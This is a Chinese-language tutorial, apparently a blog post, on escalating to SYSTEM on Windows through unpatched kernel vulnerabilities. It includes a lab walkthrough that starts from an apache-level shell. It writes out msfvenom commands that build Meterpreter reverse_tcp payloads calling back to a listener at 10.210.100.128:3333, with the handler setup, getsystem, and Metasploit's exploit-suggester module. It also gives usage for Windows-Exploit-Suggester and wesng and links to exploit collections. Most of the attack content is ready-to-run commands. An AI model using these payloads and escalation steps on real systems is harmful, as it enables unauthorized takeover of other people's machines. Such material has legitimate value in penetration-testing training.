windows系统内核溢出漏洞提权
介绍
溢出提权是指攻击者利用系统本身或系统中软件的漏洞来获取 Windows操作系统System权限,其中溢出提权又分为远程溢出和本地溢出。远程溢出需要与远程服务器建立连接,然后根据系统漏洞使用相应的溢出程序获取远程服务器的 Windows操作系统System权限。本地溢出是主流的提权方式,通常需要向服务器上传本地溢出程序,然后在服务器执行,如果系统存在漏洞,那么将会溢出获得 Windows操作系统 System权限。
步骤
缓冲区提权步骤如下:
1 2 3 4
| 信息收集,例如查看当前权限,查看版本、补丁等 根据收集到的信息确定可利用漏洞 根据漏洞查找EXP 使用EXP提权。
|
获取目标主机的一个普通用户的shell后,执行如下命令,查看目标系统上安装了那些补丁
1 2
| systeminfo wmic qfe get caption,description,hotfixid,installedon
|
查看当前的权限

常见补丁对应漏洞表



提权方式
1.利用msf提权
使用MSF提权必选先上线到MSF然后使用如下的插件进项提权扫描
1 2 3
| getsystem 提权 一般是将管理员提升到system use post/windows/gather/enum_patches use post/multi/recon/local_exploit_suggester
|
1、上线到MSF
1 2 3 4 5 6 7 8 9 10
| msfvenom -a x86 --platform windows -p windows/x86/meterpreter/reverse_tcp LHOST=10.210.100.128 LPORT=3333 -f exe -o test.exe (32位)
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.210.100.128 LPORT=3333 -f exe -o test.exe (64位)
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 10.210.100.128 set lport 3333 exploit
|
2、先使用自动提权getsystem,失败的机率很大

3、使用脚本检测可以利用的提权模块,速度可能有点慢,耐心等待
1 2 3
| use post/multi/recon/local_exploit_suggester set session ID run
|

4、使用对应的脚本然后进行提权即可

2.windows exploit suggester提权
Windows-Exploit-Suggester是一款提权辅助工具,下载地址如下
https://github.com/GDSSecurity/Windows-Exploit-Suggester
它是用python开发而成,运行环境是python本,且必须安装xlrd 库其主要功能是通过比对systeminfo 生成的文件,从而发现系统是否存在未修复漏洞。
步骤如下:
1 2 3 4 5 6 7
| 1、下载软件 2、通过systeminfo > systeminfo.txt 生成txt文件 3、python2 -m pip install xlrd==1.2.0 安装库 4、python2 windows-exploit-suggester.py --update 更新库会生成xls文件 5、python2 windows-exploit-suggester.py --database xls文件名 --systeminfo systeminfo.txt 6、对比信息查找漏洞
|

3.在线辅助提权
https://i.hacking8.com/tiquan
4.wesng 提权
1 2 3 4
| python wes.py --update python wes.py systeminfo.txt python wes.py systeminfo.txt --impact "Remote Code Execution" python wes.py systeminfo.txt --impact "Remote Code Execution" -e
|
EXP如何搜索
1 2 3
| https://github.com/offensive-security/exploitdb https://www.exploit-db.com https://github.com/SecWiki/windows-kernel-exploits
|
实验
现在控制了一台机器然后需要进行提权
1、查看当前用户权限,是apache权限需要提权

2、查看安装补丁情况,发现安装了两个补丁,我们查找EXP进行提权
3、输入补丁情况进行查询
1
| https://i.hacking8.com/tiquan
|

使用提权脚本提权

4、上线到MSF
1 2 3 4 5 6 7 8 9 10
| msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.210.100.128 LPORT=3333 -f exe -o test.exe
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 10.210.100.128 set lport 3333 exploit
background
|
5、搜索提权的漏洞
1 2 3
| use post/multi/recon/local_exploit_suggester set session ID run
|
使用该模块尝试即可
6、利用cs提权脚本